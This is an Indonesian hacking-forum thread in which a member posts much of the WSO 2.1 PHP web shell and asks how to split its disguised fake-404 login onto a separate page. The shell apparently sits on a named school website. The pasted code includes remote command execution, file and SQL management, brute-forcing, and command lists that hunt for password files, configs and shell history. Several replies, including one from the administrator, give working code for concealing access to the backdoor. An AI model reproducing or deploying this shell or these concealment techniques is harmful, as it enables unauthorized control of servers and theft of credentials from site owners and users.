Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-23-2013, 05:33 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › PHP v
« Previous 1 ... 9 10 11 12 13 ... 31 Next »

[Solved] Cara Edit Shell Menjadi Login

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Solved Cara Edit Shell Menjadi Login
02-10-2012, 03:58 PM
Post: #1
nanda Away
Wahyu Adi Prasetyo
**
Moderators
Posts: 2,017
Joined: Aug 2011
Reputation: 119
Cara Edit Shell Menjadi Login
ass...

gini nih om

ane mau nanya tentang shell yang kayak gini

http://smpn2dumai.sch.id/error_log.php

tuh cara ngedit nya supaya ketika saya memasukan passsword "123" yang tampil bukan halam shell nya ... tapi index2.php

gmana tuh ya cara nya ...

oiya 1 lagi ...
gmana cara nya supaya ketika saya mengetik url
http://site.com/index2.php
kalo belum login di redirect lagi ke index.php


code shell nya :
PHP Code:
<?php
/* WSO 2.1 (Erorr 404 Not Found) */
$auth_pass = "202cb962ac59075b964b07152d234b70";
$color = "#FF0000";
$default_action = 'FilesMan';
@
define('SELF_PATH', __FILE__);
if( 
strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    
header('HTTP/1.0 404 Not Found');
    exit;
}
@
session_start();
@
error_reporting(0);
@
ini_set('error_log',NULL);
@
ini_set('log_errors',0);
@
ini_set('max_execution_time',0);
@
set_time_limit(0);
@
set_magic_quotes_runtime(0);
@
define('VERSION', '2.1');
if( 
get_magic_quotes_gpc() ) {
    function 
stripslashes_array($array) {
        return 
is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    
$_POST = stripslashes_array($_POST);
}
function 
printLogin() {
    
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post>
    <input type=password name=pass>
    </form></center>
    <?php
    
exit;
}
if( !isset( 
$_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( 
$auth_pass ) ||
        ( isset( 
$_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        
printLogin();

if( 
strtolower( substr(PHP_OS,0,3) ) == "win" )
    
$os = 'win';
else
    
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( 
$_POST['c'] ) )
    @
chdir($_POST['c']);
$cwd = @getcwd();
if( 
$os == 'win') {
    
$home_cwd = str_replace("\\", "/", $home_cwd);
    
$cwd = str_replace("\\", "/", $cwd);
}
if( 
$cwd[strlen($cwd)-1] != '/' )
    
$cwd .= '/';
    
if(
$os == 'win')
    
$aliases = array(
        
"List Directory" => "dir",
        
"Find index.php in current dir" => "dir /s /w /b index.php",
        
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        
"Show active connections" => "netstat -an",
        
"Show running services" => "net start",
        
"User accounts" => "net user",
        
"Show computers" => "net view",
        
"ARP Table" => "arp -a",
        
"IP Configuration" => "ipconfig /all"
    
);
else
    
$aliases = array(
          
"List dir" => "ls -la",
        
"list file attributes on a Linux second extended file system" => "lsattr -va",
          
"show opened ports" => "netstat -an | grep -i listen",
        
"Find" => "",
          
"find all suid files" => "find / -type f -perm -04000 -ls",
          
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
          
"find all sgid files" => "find / -type f -perm -02000 -ls",
          
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          
"find config.inc.php files" => "find / -type f -name config.inc.php",
          
"find config* files" => "find / -type f -name \"config*\"",
          
"find config* files in current dir" => "find . -type f -name \"config*\"",
          
"find all writable folders and files" => "find / -perm -2 -ls",
          
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
          
"find all service.pwd files" => "find / -type f -name service.pwd",
          
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
          
"find all .htpasswd files" => "find / -type f -name .htpasswd",
          
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          
"find all .bash_history files" => "find / -type f -name .bash_history",
          
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
          
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        
"Locate" => "",
          
"locate httpd.conf files" => "locate httpd.conf",
        
"locate vhosts.conf files" => "locate vhosts.conf",
        
"locate proftpd.conf files" => "locate proftpd.conf",
        
"locate psybnc.conf files" => "locate psybnc.conf",
        
"locate my.conf files" => "locate my.conf",
        
"locate admin.php files" =>"locate admin.php",
        
"locate cfg.php files" => "locate cfg.php",
        
"locate conf.php files" => "locate conf.php",
        
"locate config.dat files" => "locate config.dat",
        
"locate config.php files" => "locate config.php",
        
"locate config.inc files" => "locate config.inc",
        
"locate config.inc.php" => "locate config.inc.php",
        
"locate config.default.php files" => "locate config.default.php",
        
"locate config* files " => "locate config",
        
"locate .conf files"=>"locate '.conf'",
        
"locate .pwd files" => "locate '.pwd'",
        
"locate .sql files" => "locate '.sql'",
        
"locate .htpasswd files" => "locate '.htpasswd'",
        
"locate .bash_history files" => "locate '.bash_history'",
        
"locate .mysql_history files" => "locate '.mysql_history'",
        
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
        
"locate backup files" => "locate backup",
        
"locate dump files" => "locate dump",
        
"locate priv files" => "locate priv"    
    
);

function 
printHeader() {
    if(empty(
$_POST['charset']))
        
$_POST['charset'] = "UTF-8";
    global 
$color;
    
?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- Error 404 Not Found.<?=VERSION?></title>
<style>
    body {background-color:#000;color:#fff;}
    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
    span,h1,a    { color:<?=$color?> !important; }
    span        { font-weight: bolder; }
    h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
    div.content    { padding: 5px;margin-left:5px;}
    a            { text-decoration:none; }
    a:hover        { background:#ff0000; }
    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
    .bigarea    { width:100%;height:250px; }
    input, textarea, select    { margin:0;color:#FF0000;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
    form        { margin:0px; }
    #toolsTbl    { text-align:center; }
    .toolsInp    { width: 80%; }
    .main th    {text-align:left;}
    .main tr:hover{background-color:#5e5e5e;}
    .main td, th{vertical-align:middle;}
    pre            {font-family:Courier,Monospace;}
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
</style>
<script>
    function set(a,c,p1,p2,p3,charset) {
        if(a != null)document.mf.a.value=a;
        if(c != null)document.mf.c.value=c;
        if(p1 != null)document.mf.p1.value=p1;
        if(p2 != null)document.mf.p2.value=p2;
        if(p3 != null)document.mf.p3.value=p3;
        if(charset != null)document.mf.charset.value=charset;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        document.mf.submit();
    }
    function a(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        var params = "ajax=true";
        for(i=0;i<document.mf.elements.length;i++)
            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
        sr('<?=$_SERVER['REQUEST_URI'];?>', params);
    }
    function sr(url, params) {    
        if (window.XMLHttpRequest) {
            req = new XMLHttpRequest();
            req.onreadystatechange = processReqChange;
            req.open("POST", url, true);
            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
            req.send(params);
        } 
        else if (window.ActiveXObject) {
            req = new ActiveXObject("Microsoft.XMLHTTP");
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            }
        }
    }
    function processReqChange() {
        if( (req.readyState == 4) )
            if(req.status == 200) {
                //alert(req.responseText);
                var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
                var arr=reg.exec(req.responseText);
                eval(arr[2].substr(0, arr[1]));
            } 
            else alert("Request error!");
    }
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;">
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
    $freeSpace 
= @diskfreespace($GLOBALS['cwd']);
    
$totalSpace = @disk_total_space($GLOBALS['cwd']);
    
$totalSpace = $totalSpace?$totalSpace:1;
    
$release = @php_uname('r');
    
$kernel = @php_uname('s');
    
$millink='http://milw0rm.com/search.php?dong=';
    if( 
strpos('Linux', $kernel) !== false )
        
$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
    else
        
$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
    if(!
function_exists('posix_getegid')) {
        
$user = @get_current_user();
        
$uid = @getmyuid();
        
$gid = @getmygid();
        
$group = "?";
    } else {
        
$uid = @posix_getpwuid(@posix_geteuid());
        
$gid = @posix_getgrgid(@posix_getegid());
        
$user = $uid['name'];
        
$uid = $uid['uid'];
        
$group = $gid['name'];
        
$gid = $gid['gid'];
    }
    
$cwd_links = '';
    
$path = explode("/", $GLOBALS['cwd']);
    
$n=count($path);
    for(
$i=0;$i<$n-1;$i++) {
        
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for(
$j=0;$j<=$i;$j++)
            
$cwd_links .= $path[$j].'/';
        
$cwd_links .= "\")'>".$path[$i]."/</a>";
    }
    
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    
$opt_charsets = '';
    foreach(
$charsets as $item)
        
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
    if(!empty(
$GLOBALS['auth_pass']))
    
$m['Logout'] = 'Logout';
    
$m['Self remove'] = 'SelfRemove';
    
$menu = '';
    foreach(
$m as $k => $v)
        
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
    
$drives = "";
    if (
$GLOBALS['os'] == 'win') {
        foreach( 
range('a','z') as $drive )
        if (
is_dir($drive.':\\'))
            
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
    }
    echo 
'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
         
'<td>:<nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\') 
di bantu yah om ditatompel ketek t3k0

temenan
Find all posts by this user
Quote this message in a reply
02-10-2012, 04:02 PM (This post was last modified: 02-10-2012 04:15 PM by poticous.)
Post: #2
poticous Offline
./Devilz Officer
Posts: 106
Joined: Jan 2011
Reputation: 34
RE: Cara Edit Shell Menjadi Login
kalo yang kedua tinggal pake session
PHP Code:
<?php
session_start
();
if(empty(
$_SESSION['user'])){
header("location:index.php");
}
?>
Visit this user's website Find all posts by this user
Quote this message in a reply
 Reputed by :  nanda(+1)
02-10-2012, 04:05 PM
Post: #3
nanda Away
Wahyu Adi Prasetyo
**
Moderators
Posts: 2,017
Joined: Aug 2011
Reputation: 119
RE: Cara Edit Shell Menjadi Login
(02-10-2012 04:02 PM)poticous Wrote:  kalo yang kedua tinggal pake session
PHP Code:
<?php
session_start
();
if(empty(
$_SESSION['user'])){
header("location : index.php");
}
?>

tu untuk index2.php ?

kalo yang index.php nya gmana bang ?
suopaya redirect ke index2.php
menggunakan password pusing
Find all posts by this user
Quote this message in a reply
02-10-2012, 04:08 PM (This post was last modified: 02-10-2012 04:17 PM by mariachi.)
Post: #4
mariachi Away
has been reboot
**
Moderators
Posts: 2,362
Joined: Nov 2010
Reputation: 55
RE: Cara Edit Shell Menjadi Login
berarti harus bikin 2 file, yg pertama file buat loginnya dan yang kedua file shellnya. ane ambil dari shellnya aja deh... piss

file buat loginnya :
PHP Code:
<?php
printLogin
();

function 
printLogin() {
    
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post action=index2.php> <----- actionnya sesuaikan dengan file shellnya
    <input type=password name=pass>
    </form></center>
    <?php
    
exit;
} 

file buat shellnya tambahin yg kata om poticous :
PHP Code:
<?php
session_start
();
if( !isset( 
$_SESSION[md5($_SERVER['HTTP_HOST'])] ){
header("location : file_lokasi_shellnya.php");
}
bla...bla....bla.... <----- shellnya 
?>

yah kira-kira gitu deh..... piss
Find all posts by this user
Quote this message in a reply
 Reputed by :  nanda(+1)
02-10-2012, 04:14 PM (This post was last modified: 02-10-2012 04:15 PM by ditatompel.)
Post: #5
ditatompel Offline
Administrator
*******
Administrators
Posts: 2,168
Joined: Dec 2010
Reputation: 367
RE: Cara Edit Shell Menjadi Login
Yg shell pertama diganti pada function printLogin() nya om
PHP Code:
function printLogin() {
    
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method="post" action="http://site.com/index2.php">
    <input type=password name=pass>
    </form></center>
    <?php
    
exit;
} 

Liat pada <form method="post" action="http://site.com/index2.php">
Dia melakukan post ke http://site.com/index2.php

Trus di script index2.php paling atasa tambahin.

PHP Code:
<?php
@session_start();
$auth_pass = "2a048cbfcf4379f9c74ad7359da6d279";

if( !isset( 
$_SESSION[md5($_SERVER['HTTP_HOST'])] )) {
    if( empty( 
$auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else {
        
header("Location: http://smpn2dumai.sch.id/error_log.php");
        exit;
    }
}

// isi situs
?>

jadi di script error_log.php melakukan request ke http://site.com/index2.php. nah klo berhasil login dia bakal create session. Klo ga dia dikembaliin ke http://smpn2dumai.sch.id/error_log.php
Modelnya ky csrf.. Cobain dulu om.. sapa tau bisa.. seneng
Find all posts by this user
Quote this message in a reply
 Reputed by :  nanda(+1)
02-10-2012, 04:25 PM (This post was last modified: 02-10-2012 04:25 PM by nanda.)
Post: #6
nanda Away
Wahyu Adi Prasetyo
**
Moderators
Posts: 2,017
Joined: Aug 2011
Reputation: 119
RE: Cara Edit Shell Menjadi Login
mau test dulu om t3k0 + om dita temenan belajar
Find all posts by this user
Quote this message in a reply
09-13-2012, 06:06 AM
Post: #7
sempak123 Offline
./Devilz 1st Cadet
Posts: 4
Joined: Sep 2012
Reputation: 0
RE: Cara Edit Shell Menjadi Login
gwe masih belom nyambong la om.. mklum masih newbi :'(
Find all posts by this user
Quote this message in a reply
09-14-2012, 10:54 AM
Post: #8
momoattacker Offline
./Devilz 1st Cadet
Posts: 21
Joined: Sep 2012
Reputation: 0
RE: Cara Edit Shell Menjadi Login
Dicoba ya..kalem
Sambil Numpang Nimbrung..
Kaga Bisa Tidur Dri Kmrennnnn deadwhy
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] Decrypt Shell/backdoor ( buat yang blom tau aja :( ) dzawa 10 356 Yesterday 10:28 AM
Last Post: nobodyknowme
Sad [Ask] cara buat balesan komentar berita di php superrmario 10 179 05-21-2013 01:53 AM
Last Post: ZenZ
  [Ask] cara membuat data mining pada php? Keonx 2 80 05-19-2013 06:12 PM
Last Post: Keonx
  [Solved] Tentang Cara Search Di Php wildan123456 4 104 05-15-2013 09:26 PM
Last Post: kidofdream
  [Solved] ERROR "Warning: mysql_num_rows()" Login PHP anyo_ateng 12 222 05-10-2013 11:15 PM
Last Post: Beruang Kabur
  [Solved] Auto Login Forum dengan CURL angelcyber942 15 238 05-08-2013 09:40 AM
Last Post: ditatompel
  [Ask] Cara Decrypt Shell (dg Gambar) sayacupu 7 156 05-07-2013 07:52 PM
Last Post: googles
Question Bagaimana membuat for edit dengan PHP...?? dauf 8 149 05-04-2013 03:59 AM
Last Post: idrus.samury
  [Solved] Cara Bikin Thumbnail Gambar Menggunakan PHP CodeSearcher 4 138 05-02-2013 04:47 PM
Last Post: CodeSearcher
  Bagaimana cara Login dengan menggunaka Privilage dauf 2 85 04-24-2013 11:44 AM
Last Post: dauf

Users Browsing

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-23-2013, 05:33 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE